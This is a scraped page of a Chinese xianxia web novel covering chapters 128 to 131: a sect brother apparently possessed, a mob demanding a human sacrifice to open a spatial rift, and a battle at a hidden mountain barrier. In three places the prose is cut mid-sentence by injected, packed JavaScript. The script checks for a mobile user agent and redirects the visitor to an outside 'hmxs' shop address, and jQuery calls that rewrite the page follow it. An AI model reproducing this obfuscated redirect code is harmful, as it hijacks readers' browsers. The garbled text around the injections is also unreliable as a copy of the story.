高挑的黑影旁,分明还有一人,那人身着寿衣,头颅无力地垂着,在风中犹如挂在另一人身上的单薄纸片。 身着黑色斗篷的人只轻轻往众人所在之处扫了一眼,便拽紧了手中人的衣领,借势一跃,就要往远处去。 然而又是一团金光炸开,炸的却不再是包围住三人的众人,而是落在黑衣人脚边,炸得他不得不倒退几步,遮住面貌的兜帽落下,露出一张熟悉又陌生的脸。 镜阳宗众人本欲责问季瑶是否与暗中放出金光的人有所勾结,见到此景,都瞬时如同惊雷贯身一般怔在原地。 季瑶推开拦在面前的众人,挥剑斩杀一片妖魔,来到山崖边,离得近了些,彻彻底底看清了那人的面貌。 惨白的,疏离的,覆满血污的…… 隔得那样远,却仿佛昨日才带她逃离了狼犬的尖牙,恭恭敬敬伏在镜阳宗季宗主脚边,求他一并收自己为义女。 从此失去双亲、漂泊无依的两个稚嫩孩童,日日夜夜一同潜心修习,长成了季宗主的左膀右臂,成为了世人艳羡的镜阳宗大师兄与大师姐。 季瑶失声唤道:“哥——哥!” 季衡没有再往这边看,身姿闪转腾挪,避开不知何处袭来的一道又一道金光。 他手中紧紧钳着季良衢的脖颈,单薄如纸的身影飘飘荡荡,十分碍事,他却没有将那具早已冰冷的尸身抛弃。 季繁洲跌跌撞撞奔上来,险些顺着悬崖滚下万丈深渊,却来不及心惊,只声嘶力竭地喊:“季衡哥!” 身后人声杂乱,有人唤“大师兄”,有人唤“季宗主”,有人惶然发问“那个放出金光的是谁”,也有人义正辞严高声大喊“别让他们三人趁机跑了”。 上空奇焳似有若无的啼鸣不止不休,季瑶眼前再度阵阵发黑,辨不清今夕何夕。 是幼时刚从野兽口齿之间捡回一条性命?是刚刚拜入镜阳宗,全然不懂修习之道?是少时练剑忘了晚饭的时辰,兄长带着自己偷偷溜去山下的夜市? 是兄长早课忘了时辰,教习长老提着棍子寻人,自己偷偷通风报信?是初次一同入世除妖就一连斩杀四只大妖,宗主笑说“镜阳宗有此二人,来日无忧”? 还是兄长悄无声息地被附身,而自己一无所知,害宗主枉死,放奇焳出世,从此人间狼藉遍地、尸骸遍野? “季衡哥——宗主——” 身旁又是一声哭喊,季瑶猝然回过神,见季良衢的身躯被又一道金光拦腰斩断,浓稠粘滞的浊液自断口涌出,断躯残渣自万丈悬崖摔落,没有半点声响。 季衡身形一顿,随后擒着季良衢仅剩的半截躯体闪身一避,右手成爪,干脆利落地刺穿了季良衢的胸膛。 黑红的浊液喷出,季衡的动作却无半分停顿,右手一刺一撤,一颗干瘪枯黑的心脏自季良衢胸膛脱出。 那绝不是一颗正常的心脏…… 像是被什么东西吸干了血肉,然而单薄干枯如纸一般的黑色事物,竟还在季衡手中微微起伏,如同一颗尚且活着的心脏,仍在扑通跳动。 那不是季衡…… 季瑶茫然地想,那不是兄长。 她直起身,将灵力一寸一寸灌入原已无力的右臂,而后生生用灵力凝出一把流光璀璨的灵弓。 拉弓搭箭,弓弦震颤,一道利箭破风而出,直刺季衡抓着心脏的那只手臂。 她的剑术、弓箭、琴技都是与兄长一同修习的。从小到大,他二人过招,永远势均力敌,不相上下。 只是他们似乎已有许久不曾过招了。 灵力短暂凝成的弓在射出这一箭后便化作点点微光消散不见,有那么一瞬间,季瑶觉得周身灵力都被那一箭抽走了,惟余一片空空荡荡。 她抬起眼,目光追着那道飞箭而去。 尖利的箭猝然刺入季衡的手臂,只这一瞬失力,他手中枯黑的心脏便滚落下去,眼看就要被又一道金光击碎。 季衡慌忙之间将另一只手中擒着的季良衢的断躯抛下山崖,抬手抓住下落的事物,手臂生生挨住了那道金光。 枯黑的心脏在他指尖碎作齑粉,随风而去,残渣之间,显露出一颗微不足道的碎片。 无人知道那是什么,却见季衡抬手,将那道尖利的碎片刺入了自己血肉模糊的胸膛。 一道细微的金色琴弦自季衡胸膛之中穿出,如同丝线一般,将模糊一片的血肉.缝在一起。 被贯穿无数次的心脏忽地再度活了起来,连同狰狞纵横的伤口一起跳动。 季衡缓缓扯出一个笑容。 惨白的面庞渐渐涌上些微血色,却比任何时候都更接近于鬼魅。 原本渐趋于无的奇焳啼鸣忽如惊雷破空,余音荡开层云,一层一层地荡漾开来,如同一点一点将人抽筋剥皮。 妖魔与“人”再度狂躁起来,一下一下撞击着仅剩的一道防御结界。 短短片刻,要寻放出金光之人的,要捉拿季瑶、贺江年、季繁洲三人的,被季衡的诡异举动惊在原地的,惶然的、恐惧的、惊愕的、义正辞严的、咄咄逼人的,都什么也顾不得了。 “又来了……呃,捂住耳朵!不,不,快用清心咒……” “有没有会唤魂咒的?呃……” “挡不住了!防御结界快破了……” “快开禁阵……谁?谁能开禁阵?禁阵是除圣清结界以外最强的防御结界,快……” “开禁阵!不、不要让他们跑了……” 身后众人杂乱沸腾,季瑶恍若未闻,挨过一阵心神动荡,抬眼却正对上一道青碧灵光流转的灵箭。 季衡遥遥望着她,轻轻抬了抬手中的灵弓。 就像年少时他们过招,兄长轻轻抬弓,搭上一支毫无杀伤力的木箭,说道:“阿瑶,你我箭术不相上下,方才我挨了你一箭,你要不要试试我这一箭你能不能躲过?” 眉宇间的清冷如出一辙,少年人的傲气与稚气早已全然不见。 物非人也非,这样的世间,有什么意思? 季瑶眼前耳边俱是空茫一片,她茫然地睁着双眼,片刻后缓缓闭上眼。 身体骤然一轻,迎面而来的风迫使她再度睁开双眼,却见贺江年一手拥着自己,一脚踹了季繁洲,朝两座峰峦之间的万丈深渊一跃而下。 迎面而来的灵箭、趁虚而入的妖魔、心怀大义的镜阳宗众人,都扑了空,徒劳地撞在一起。 两道强劲金光爆裂开来,山石轰然破碎,无论是季衡还是方才山崖边的三人,都倏然不见了踪影。 季瑶眼前只有炽盛得近乎于白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“归云仙君告知我,我们还有最后一道武器。”季瑶沉声道,“在此之前,我们要尽可能地诛杀妖邪,为陆小姐、为归云仙君打通那条路。” 季繁洲一时怔然,过了许久,他才喃喃地问:“……是什么?最后一道武器,是什么?” “不要去。” 不待季瑶回答,贺江年忽地将季繁洲扫到一边,而后倾身挡住季瑶的视线:“阿瑶……不要再去了。爹娘,师尊,明澄,都不在了……求求你不要再去杀什么妖邪,跟我回云间世好不好?” 季瑶微微一怔,而后倾身轻轻拥住了他,极轻极轻,像是怕多用力一分,他就会疼。 短短数日不见,那个略显稚嫩、朝气蓬勃的青年留在原地,竟已与他们隔得那样远。 贺江年抽噎着,只觉周身麻木、动弹不得,用了许久才觉出来源源不断涌入体内的疗愈灵流,如同温凉溪流自骨骼血肉间淌过。 季瑶轻声道:“要去的。” 贺江年轻轻闭上眼。 “不替仙门百家,只为世间诸人争回这一分安宁。” 季瑶抬眸望向不远处试探着往这边来的“人”,再度召出佩剑,声音却仍轻若微风:“待到来日,世间安平,我一定与你一起……去好好看一看这世间。” 129. 唾山倾 破月妖狼如同一道霹雳在荒凉峰峦间闪过,一路避开不少狂化作乱的“人”,直奔蒲山。 奇焳啼鸣愈来愈强烈,伏在妖狼背上的众人不得不死死捂住双耳,或是一遍又一遍默念清心咒,却抵不过数日奔波的疲累,神智混沌间,用尽全力才能抓稳妖狼的皮毛,不让自己被颠下去。 陆云笺一边以灵力维持着妖狼的形体,一边留意着众人的情况,以防有人掉落或是忽然狂化。 四周断壁残垣如川流一般奔涌而过,陆云笺没有再去看,如此数日,这样的景象早已看了个遍。 身边忽然一紧,陆云笺转过头,见裴世面色不悦地落在妖狼背上,忙察看了他是否受伤,好在无事,这才问道:“如何?” 裴世面色沉沉,抬手写道:晚了一步,季良衢果真没死透,他利用季良衢心脏中一样事物“复生”,再度以自身作奇焳之用。 “想来是季良衢当年对他进行改造时,他在季良衢体内埋下的东西。或许当年改造失败,就有这层原因……”陆云笺道,“不过无事,既然这一回季良衢死透了,他就只有这一次续命的机会了。他若再来拦你我二人,我大可让他再死一次。” 裴世写:方才我将他半边身体炸毁,镇于山下,若要缝合还需些时日,他一时半会儿追不上来。 陆云笺轻轻扯出一个笑容,然而那笑容转瞬即逝,她点点头,又问:“镜阳宗如何了?” 裴世写道:不大好。 才写了三个字,陆云笺便心领神会:“结界一破,镜阳宗的人必定会发觉掌门令为假,都巴不得找个罪人去开启禁阵……季瑶怕是凶多吉少,再难留在镜阳宗了。” 裴世本想说明镜阳宗诸人境况,听陆云笺如此说,到底还是把手放下,顿了片刻,改写道:季瑶、季繁洲二人已脱离镜阳宗,暂且无恙。 陆云笺面上的忧虑却丝毫没有缓和:“镜阳宗如此,云间世怕是也离反目不远了。” 她不自觉地加强了指尖从未熄灭的灵光,破月登时奔得更快,众人之中有适应不能的,都惶然大喊起来。裴世一伸手,握住她的指尖,陆云笺倏然回过神,破月的速度便又减慢了些许。 “抱歉,是我心急了。”陆云笺勉强笑道,“小柿子,仙门的人追了多远了?” 裴世一时默然不语。 陆云笺反过来抓住他的指尖,轻轻摩挲着:“如今仙门结界接连破了,那些知晓断界阵法的人,应当都要借着先前那几项罪名来缉拿你我二人了。你与我说实话,他们追了多远了?” 裴世只好老老实实地写:设了些障碍,他们追不上来。 陆云笺稍稍放了心,道:“看来银鹰卫还不曾出手……算上中途休整所需时日,到达蒲山还需两日,应当够了。” 裴世不知从何处又拿出了那床大红底鸳鸯戏水纹的被子,将陆云笺连同身边几个睡得正沉的孩子通通一罩,忽然什么妖魔肆虐的动静都被掩了去。 他轻叹一声:“快了。” 陆云笺被被子一罩,没看清他说的什么,抬手将他一同拢进被子里,遮去了漫天血腥气与呼啸而过的风,问:“你刚才说什么?” 裴世于是又写:马上就要结束了。 金光书成的字明灭一瞬,只待陆云笺看清便消去了,如点点破碎萤火般,飘飞而去。 点点萤火汇聚一片、流转不息,恍如九天银汉倾泻。 陆明周抬眸望了一眼金蓝交错的结界,复又将目光投向面前步步紧逼的众人。 “陆尊主,求您开断界阵吧……修真界抵挡不了多久了……” “尊主,求求您了……我死了不要紧,可我的孩子才四岁啊……” “尊主,求您开恩……我给您磕头了,以后我家一定世世代代都供奉云间世,求您放我们一条生路……” 面前刀光剑影交错,云间世寥寥数位修士与银鹰卫挡在身前,隔开了面色不善的仙门众人,也隔开了哭喊震天的百姓。 陆明周立在中孚殿外,微微垂眸,目光越过刀剑相向的众修士,扫向疮痍遍布的世间。 云间世主山极其高峻,中孚殿立于山顶,没了山间飞云流雾遮挡,只稍一垂眸,便能将云间世地界的万事万物尽数收入眼中。寥寥数家防御结界还能护人的仙门紧闭门户,自家修士躲在结界后,再容不得旁人,也再杀不动妖魔。 结界破灭的诸多仙门俱是孤注一掷,领着自家修士上了云间世,无处可去的百姓随着仙门走,一路攀上云间世结界内的数座峰峦,如同密密麻麻的黑蚁一般爬满了各处。 目光移至面前,亦是人头攒动。 天塌下来,总先砸死站得最高的。 云间世坐上天下第一大派尊位已历三百二十年,三百二十年间,修真界若有劫难,云间世受人供奉,总当率领仙门百家平息灾劫。天塌了,即便是为自保,云间世也一定会先顶着,若是顶不住,最先被砸死的也一定是云间世。 可云间世没了以后呢?仙门百家能撑多久? 抑或者他们坚信云间世一定能平息劫难,待到风停雨止,云间世元气大伤,他们好争得新的天下第一第二大派尊位,开创新的三百二十年? 陆明周闭了闭眼,问道:“你们可知……断界阵法是什么意思?” 诸多百姓面面相觑,不知陆明周是何意。 陆明周道:“后山禁地,有一道时空裂缝。用断界阵法将其撕开,众多妖邪会通过时空裂缝去往另一个时空,届时另一个时空定然血流漂杵。” 不知是不是因为连日疲惫,他眼下两片乌青愈来愈重,双眼蒙着一层细红的血丝,声音也是那样轻而缓:“那些仙门告知你们,云间世有一道断界阵,撕开时空裂缝,就能保全这个时空。可另一个时空呢?没有仙门术法,更没有妖魔鬼怪,却要平白替我们遭受这一劫难,这又对吗?” 众人一时默然,直到有百姓小心翼翼地道:“可这些东西也不是我们招来的,凭什么我们要遭这个难?” “是啊陆尊主,您若是不开阵法,我们就都完了啊……” “求您了……我祖祖辈辈都没作过什么孽,不该遭这样的罪啊……” 时空裂缝已然延伸扩展数倍,众人只消一抬眼,便能看见如雷霆贯空般的猩红裂缝。然而裂缝扩展的速度极慢,人眼几乎不可辨,根本不可能自然扩展成足以令妖魔通过的通道。 裂缝之间漆黑一片,无人能看清裂缝的另一头是什么,也无人有心有暇去看。 陆明周没有抬眼去看裂缝,更没有让步,堵住了众人通往后山禁地的路。 人群中忽有一人站出来道:“我们尊你一声‘尊主’,是因云间世坐着天下第一大派的尊位坐了三百二十年,理当好好护着修真界,也是我们相信云间世能够护住修真界。” 陆明周眼珠一转,目光定在吞象阁阁主毕如海脸上。 先前云间世将吞象阁诸人押回,却全然无暇细数其罪过,更忧心会使众仙门生出二心,因此只将他们软禁,却不料他们得空逃出来,带领一众百姓寻他讨要“说法”。 毕如海没有去看陆明周,领着几名吞象阁弟子拦在众百姓前方,高声道:“可云间世又是如何?众多百年千年长妖魔自云间世神树之下爬出,有多少人死伤在它们手里? “伤者无处去,唯有云间世还能撑起结界,可结界范围之小,只能护着云间世自家修士与百姓,那这天下——镜阳宗呢?怜生寺呢?其他地界的百姓呢?” “我们知道尊主刚刚继位,骤然要担得守护修真界之责的确强人所难了些,可我们不也是无处去了? “圣清结界、断界阵法和时空裂缝都在云间世,云间世难道只管守着这些,却不能加以利用,来应对灾劫么? “如此当真令人心寒啊……平日里我们如何尊云间世、敬云间世,可我们无处可投时,云间世又是如何待我们的?难道要为了所谓‘无辜’的另一个时空,白白葬送了大家的性命?” 他言辞恳切,说着说着竟不禁掉落眼泪,询问身后的百姓:“你的爹娘呢?你的兄弟姐妹呢?你的孩子?谁不无辜!谁活该遭此罪?” 周遭翻涌起一阵低低的呜咽声,陆明周闭上眼,不愿多言。 一名吞象阁弟子道:“阁主,恕晚辈多言,这断界阵法既然是三百二十年前魔王使出的……那时魔王可是用了照灵骨制成的断界骨神器的,寻不到照灵骨,开不了断界阵,实在也不是陆尊主之过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648196|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……” “你啊你啊,到底是年轻人,不懂事。”毕如海擦去面上泪水,拍了拍那弟子的肩,“照灵骨是何等的神物?云间世难道料不到世间再难寻到照灵骨?若是非要寻来照灵骨才能开阵,与坐以待毙何异?你们仔细考量考量,云间世怎会将希望寄托于照灵骨?” 这回不待吞象阁众人开口,长春教一名弟子忙接道:“我明白了——” 此言一出,众人都转头望他,他似乎被骤然集中的目光吓了一跳,缓了片刻才道:“什么断界骨……本质都是一种献祭,献祭又不是非要神器什么的,这么强的阵法,用、用……” 毕如海柔声道:“你说的不错,还有呢?我们只为大家谋求生路,不要有太多顾忌。” 长春教那名弟子终于鼓起勇气道:“献祭之类的术法,用神器自然是最强的,但如果没有神器,用活人和鲜血祭阵,一样可以很强……” 人群中一片哗然,有人颤颤巍巍地:“活、活人?” 毕如海闻言沉思片刻,恍然颔首:“是了……陆尊主定然是不愿用这般残忍的法子,可灾劫在前,我们又能怎么做?只能如此了……” 这一回却没有太多人再应和,谁也不知道云间世的断界阵法是什么样的、需要什么样的人来献祭,若是平白落到自己头上,那该如何是好? 众人一时默默,不知过了多久,终于有太玄庄的人上前道:“我、我倒是知道有人适合,只是怕……” 他抬眸怯怯扫了一眼端立不语的陆明周,继续道:“咱们自然是不能出人献祭的,谁也没道理要舍己救人。但那些本就宣判了死刑的重罪之人不一样……” 毕如海恍然握拳往手心一砸:“是啊!这可真是当下最妥当的法子了——若说重罪之人,可不正是陆云笺与裴世么?戕害掌门,杀害神龙,先前开启圣清结界令我们放松警惕,却放幕后之人在哀牢借机召唤奇焳,如今又下落不明……” 一转头却正对上陆明周冷然的目光,毕如海周身一凉,忙转向身后之人:“大家可莫要被他们蒙骗了——莫要因为那几分假惺惺的好处便错信他二人啊!” 众人一时没有附和,不知是在犹豫,在怀疑,还是忙着为自己摆脱了被献祭的风险而松下一口气。 “毕阁主说的不错……”长春教教主领着长春教众人扑通跪在陆明周面前,几近恳求,“陆尊主,您莫要再念旧情了,是他们二人想毁掉修真界,是他们先负了您……尊主,切莫因一时不忍坏了大事啊!” 太玄庄庄主见状怒道:“岳教主何苦如此?!陆明周为了一丝旧情便要送我们白白去死,这和与妖邪勾结有何区别?他如此罔顾我等性命,我们难道还要求他开恩发慈悲不成?!” 云间世弟子听不下去,拔剑想将众人斥开,然而剑方出鞘几寸,对面便是哗啦啦一片拔剑抽刀之声,一时刀光剑影更加晃眼。 一片混乱中,有人惶然道:“陆、陆尊主……您、您要杀人吗?” 白晃晃剑光中,一众修士拥着或跪或立在前方的百姓,一双双眼睛空洞无神,死死盯住陆明周。 对错正邪已然不再重要,只要献祭的不是自己就好……更何况陆小姐和归云仙君都是灵力极强的仙君,他们去献祭,一定能顺利救回修真界…… 是……是该他们献祭的…… 他们有罪……他们欠修真界的…… 陆明周终于抬头望了一眼上空的猩红裂缝。 裂缝另一边的太平世间,究竟是怎样的? 陆明周再度缓缓闭上眼,哑声道:“银鹰卫听令。” 守在他身侧的几名银鹰卫当即跪地领命。 然而人群中又忽然掀起了另一个声音:“陆明周!你——你当真要撕开时空裂缝?!” “尊主,不能啊!不能连累另一个时空啊……” “陆尊主,不能……” 陆明周只辨出最先说话的是兴云宗宗主,然而这声音片刻便被压了下去,周遭又是一片寂静,不知是喜是悲,还是隐隐期许。 唇齿仿佛不再属于自己,陆明周头脑一片麻木,只宣读着早已准备好的词句:“传我掌门令……速速缉拿要犯裴世至云间世,准备开启断界阵。” 130. 孤山客 奔走两日,众人身心疲累之下,几乎要分不清自己已然死去还是尚且活着,直到破月妖狼终于停在一座荒山前,才后知后觉自己是谁。 众人下了妖狼背,见四周一片荒野,眼前的荒山亦是平平无奇,有些疑惑:“陆小姐,这是何处?” 裴世应道:“此处有结界,你们待在山上,不要离开,妖魔鬼怪近不得此处。” 那名修士闻言不再多问,只点点头,挑了一块空地坐下。 众人听说此处有结界,都稍稍安了心,却仍有些犹疑:这座荒山荒凉至此,没有半点术法气息,附近也没有仙门,怎会有结界? 但既然是裴世亲口说的,众人也不好多问,都只在山上挑了地方休整。 陆裴二人将众人安顿好,又粗略察看了周遭情况,见并无浓重妖魔气息,便往山顶走去。 原本蒲山幻境几乎覆盖了整座山,如今却还未看见幻境将起时的浓雾,想来是奇焳出世,箜篌神器受到影响,山中灵气减少,幻境的覆盖范围已不如初时广阔。 一路荒草丛生,二人步履不停,走了将近一盏茶的光景,眼前的景象才终于逐渐扭曲模糊,似乎马上就能进入幻境了。 陆云笺抓紧了裴世的手,往前方走去。眼前云雾渐起,交杂着淡淡金光的云雾尽头,参世仙人模糊的身影渐渐亮起,似乎等候已久。 陆云笺正欲加快脚步往尽头赶去,天边却忽地传来轰然一声响,紧接着眼前流光逸散,那抹原本渐趋清晰的白色身影倏然一颤,而后消失不见。 陆云笺心中一跳,却并无多少意外。 上一回,无津大师为阻二人深入幻境,不惜耗费大量灵力攻击蒲山结界,致使照翎族得有机会脱逃,这一回,即便无津大师不前来阻拦,季衡也必不会让他们如此顺利地进入蒲山幻境。 陆云笺转头望去,正见一个自天边赶来、被血污染得暗红的身影。 季衡胸膛处的伤疤醒目至极,箜篌琴弦灵力将尽,匆匆缝合的半边身体如同粗制滥造的布偶般与另一边身体连接在一起,极为诡异可怖。 然而更为诡异的是自他肩膀生出的丈余羽翼,不知是从何处长出的,生生挤断了琵琶骨,又破开了血肉,突兀而奇异。那双羽翼通体玄色,唯有尾端带上了燃烧正旺的橙红,与奇焳的羽翼一般无二。 青碧灵光与笼罩蒲山的一道无形屏障轰然相撞,灵光溃散,蒲山幻境却也因此不稳,时隐时现。 数道金光自与巨大灵箭相撞的地方凭空延展开来,如同笼上金丝一般,构造了一个金光流溢的巨大结界,严丝合缝地笼罩了蒲山。结界之内竹影摇动,不知何时,处处荒草倏然成了满山青竹,似是受方才强大灵气的影响,万顷竹海摇曳不止,竹叶簌簌而落。 山上众人都被这突如其来的景象变换惊住了:“这、这是怎么回事?” “是归云仙君说的结界吗?这究竟是什么地方?怎么会有这么强大的结界……” “这、这当真是普通的竹子?灵气怎会如此丰沛……” 尚不待众人反应,空中便又是山崩地裂的一声巨响,紧接着灵箭噼里啪啦砸在结界之上,结界虽坚固如初,山中竹林却摇晃得更加厉害,竹叶簌簌下落,如同一场碧绿的急雨。 陆云笺远远朝山下扫了一眼,见不知何时从远处聚集了黑压压一片东西,不知是“人”还是妖魔鬼怪,正朝着蒲山而来。 她指间灵光一跃,再度召出破月妖狼,吩咐道:“破月,踩碎它们。” 妖狼得了令,正欲迈步奔下山去,却忽地像是恶疾发作,伏倒在地,浑身细细颤抖着,喉间发出低低呜咽。陆云笺忙上前察看:“破月?怎么了?” 妖狼额间的紫色弯月一时极亮极烫,裴世抬手自它额间轻轻拂过,妖狼一抬头咬住他手指,留下一道血痕。 裴世瞥了那血痕一眼,收回手,写道:方才奇焳啼鸣三声。 陆云笺心下了然。 季衡此来可谓孤注一掷,必然会竭尽全力通过自身发挥奇焳的效用,破月妖狼既是妖,自然更容易受到影响,一时焦躁不安,只得伏倒在地,以防误伤他人。 季衡手中的灵弓分明难以承受如此连续不断又高强度的灵力攻击,时而明灭不定,可他却像是疯魔一般,不惜一切代价也要阻止二人进入蒲山幻境。 陆云笺只得抬手结阵,将妖狼收回,抬眸看向在空中不断搭弓放箭的季衡:“真是疯了……他可以不惜代价,我们却有所顾忌。”她说着召出破月匕首,“裴世,你帮我拖住他的攻击,我去再杀他一次。” 裴世却拉住她,快速写道:你灵力消耗过大,恐难操纵箜篌神器,留着力气。 陆云笺蹙眉道:“他这样源源不断地攻击结界,蒲山幻境不稳,我们也进不去。若是奇焳再发难,怕是还不等我们进入幻境,带过来的这些修士与百姓就要先一步失去神智、自相残杀了。” 裴世写道:我去阻止他的攻击,幻境一稳,你就先进入幻境。 陆云笺一怔:“那你呢?” 裴世顿了片刻,抬手又欲写,忽闻天边另一个方向,传来一声如惊雷破空的琴音。 数道灵箭刹那被那道无形无状的琴音击溃,嘈嘈切切错杂弹之间,数道金色光芒如同利刃般自天边飞来,将灵箭尽数摧折。 季衡一时力不从心,只得收了羽翼,从空中落下,正落在二人对面。陆云笺见状正欲动手,却先有一人,落在陆裴二人与季衡之间。 琴弦嗡鸣不止,衣袍猎猎而动。 季衡抹去嘴边血痕,冷笑道:“无津大师不好好守着怜生寺结界,到蒲山来凑什么热闹?” 无津大师没有理会,偏头对陆裴二人道:“我来阻他,待幻境稳定,二位速速进入幻境。” 陆云笺微微蹙眉。 无津大师分明一直以来都不希望二人进入蒲山,为此屡屡隐瞒阻拦,甚至不惜攻击蒲山结界,如今怎么忽然转了性子? 陆云笺犹疑地看了他片刻,转头去看裴世,见他对自己轻轻点了点头,便道:“好。” 季衡死死盯着三人,而后轻轻笑了起来:“原先只听照翎族说你这秃驴最是假惺惺,不料你还如此碍事。我只差这最后一步,你觉得我会放你们坏我好事?” 他再度射出几箭,却不是冲着对面三人,而是直冲云霄而去,掀起结界之上又一层流光。 林中渐渐弥漫开来的雾气又一次消散了。 无津大师的攻击错了方向,没能阻止结界动荡,只在季衡脖颈处留下一道深深血痕。季衡吐出一口血沫,然而一抬手,脖颈处的鲜血便又止住了。 许是因为融合了照翎族体内的箜篌琴弦,季衡如今言语之间总带着照翎族的癫狂之意:“我不明白。 “秃驴,拜你所赐,箜篌少了一弦,又或者即便箜篌一弦不少,也一样阻不了我。前番你如此隐瞒蒲山之事,如今却又来助他们进入蒲山幻境,究竟是什么意思呢?赎罪?立功? “参世仙人早已仙逝,仙门百家自身难保,无人会在意你们的功过,你们就是为修真界魂飞魄散,也不会被任何人记得。若是记得,也只会记得你们的罪,千秋万世,无非是被钉死在耻辱柱上。 “圣清结界为何破得如此之快?参世仙人为何将箜篌神器藏于深山?仙门百家为何不收留百姓?你们难道不是心知肚明吗? “修真界早就完了。没有我,也会有别人来掀翻修真界。即便不是今日,也总有一日。即便此番灾劫平定,也一定会有下一次灾劫。” 季衡握紧了手中灵弓,灵弓的灵力即将透支,灵光黯淡,弓把也布满了细细裂痕。他抬头望了一眼笼罩蒲山的结界,再低头时,血泪相杂着滑过脸庞,恍若厉鬼索命。 “修真界早该好好洗一次牌了……从头开始,才最为干净。” 无津大师默然不语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653476|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖轻轻在琴弦之上来回拂动,忽地重重拨动,琴弦剧烈震颤,几人脚下的土地霎时崩裂,万顷碧竹忽然自发而动,让开一条道路。 其实并不是道路,而是一道数尺宽的裂缝,其中漆黑一片,丝丝缕缕雾气自地底飘散而出,不知通往何处。 陆云笺拽过裴世,道一声“走”,正欲朝裂缝中纵身一跃,雾气却忽然急速弥漫开来,将几人尽数包裹。 噼里啪啦的箭声与嘈嘈切切的琴音戛然而止,不过一阵眩晕,眼前便不再是苍白,也不再是碧绿,而是一片空空荡荡的黑。 黑暗尽头,亮起一抹淡若萤火,却足以照亮方寸天地的白。 无津大师紧紧抱着七弦琴,不自知地倒退了一步,待到终于反应过来,他尚没有看清远方的人影,便转身就走。 可黑暗漫漫无极,如何也逃不掉。 黑暗中那唯一一抹光亮轻叹一声,唤道:“阿绥。” 一瞬背脊犹如被霹雳爬过,无津大师怀中抱着的琴哐当一声,摔落在地。 “阿绥……你回来了。” 无津大师缓缓回过身,丝毫未觉面上一片湿凉:“仙人……” 参世仙人的身影淡得仿佛即刻就会消散,却又仿佛真真实实地立在他面前,恍如生前。 参世仙人轻声道:“如今是哪一年了?” “……” 见对面那个一身杏黄僧袍、已近天命之年的陌生人不说话,参世仙人又轻轻叹息一声,道:“依照青竹告知我的时日,已经过去三十三年了。” 无津大师知道他说的是自从自己叛逃出山后,已历三十三载春秋。 无津大师没有心思再去管摔落在地的七弦琴,在反应过来之前,已然跪倒在地:“我盗取箜篌琴弦,放照翎族出山,又贪恋人间浮华,私自叛逃出山……我知错了……” 参世仙人静静看了他片刻,没有去扶起他,也没有出言怪罪,只道:“阿绥,你如今用琴用得很好了。” 无津大师垂眸拱手,不敢多看他一眼:“谨遵仙人教诲……日日苦练,有所长进。” 参世仙人却没有再说此事,转而道:“如今是什么时节了?是春日么?” 无津大师以为自己听错了,缓缓抬起头:“……什么?” “从前每逢你偷溜下山,我就时常想,你终究是少年人,总该多出去看一看,见一见人间的繁花灯火,不要将大好年华都付与这空空荡荡的山。你年岁轻,好奇心又重,总有些贪玩,可我却因意欲将你培养成才,继承箜篌,来日挽救灾劫而将你禁锢在这山中,是不是错了?” “怎么会错,是我年少不知事,是我……” 参世仙人抬手阻住了他。 直到此时,无津大师才恍然意识到,年少时那个总跟在白衣道人身后、术法精进不得便崩溃大哭、日日在这山中消磨却也是安度时光的小屁孩早已与自己隔得太远,以至于如今故人再见,字字句句都是深思熟虑的愧疚与谦卑,寥寥几句,就再也说不下去。 他因贪恋人世浮华、逃避自身罪过逃入人间,又因悲痛悔恨、惶惶不安而遁入空门,苦参佛法数十载,却什么也没有放下,什么都放不下。 无津大师一时哽咽,年近天命的人有那么一瞬仿佛又变回了那个不知事的少年,似懂非懂地问仙人:“那仙人数百年前受神仙点化,却放弃了飞升,如今又放弃了转世托生,几乎一生都在这荒山之中,不会遗憾吗?” “会的。”参世仙人笑道,“很多时候,我也想像少年时一般,悠闲无虑地去看看这世间……但若说飞升与转生,我还是不悔。想来九天宫阙或是来世之景,都不会比这一生见过的万千繁花与灯火更美了。 “正因如此,我总还是相信世间总有人想留住这清平世间,你看,我还是等到了。 “如今正逢春日,若是灾劫能被平定,想来这世间的花,应当会开得很灿烂吧。” 131. 昭遗光 坠入裂缝中时,茫茫白雾扑面而来,片刻便再也看不清满山青碧修竹,不知过了多久,空荡荡的白又成了无边无际的黑,不知是到了何处。 季衡在黑暗中立稳,抬手摩挲,却只觉周遭空无一物,触不到任何事物。犹豫片刻,他到底还是抬起灵弓,正欲放箭,手腕上却忽然传来缥缈的触感,像是一阵微凉的风,穿过了裸露干枯的筋脉骨骼。 搭在弦上的那支箭不知何时已经被化去了,灵光爆裂的灵箭倏然成了一道无影无踪的风,连带着好容易聚起灵光的灵弓也再度黯淡下去。 那个人甚至未曾现身,更没有表现出半分灵气,无声无息间,就把灵弓的灵力化去了。 是谁?当今修真界,难道还有如此人物吗? 季衡惶然抬头,正对上不知何时出现在眼前的虚白幻影。这一看,他却彻底安下心来:“参世仙人。” 